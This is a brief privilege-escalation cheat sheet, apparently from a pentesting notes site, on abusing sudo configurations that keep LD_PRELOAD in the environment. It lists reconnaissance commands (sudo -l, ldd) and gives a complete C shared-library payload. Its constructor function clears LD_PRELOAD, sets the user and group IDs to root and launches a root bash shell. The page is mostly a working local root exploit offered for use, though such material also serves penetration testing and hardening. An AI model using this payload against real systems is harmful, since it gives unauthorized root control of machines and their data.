Sudo Privilege Escalation by Overriding Shared Library
LD_PRELOAD, LD_LIBRARY_PATH Overwriting
Investigation
sudo -lenv_keep+=LD_PRELOAD
(ALL : ALL) NOPASSWD: somecmdldd somecmdExploitation
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void inject()__attribute__((constructor));
void inject() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}Last updated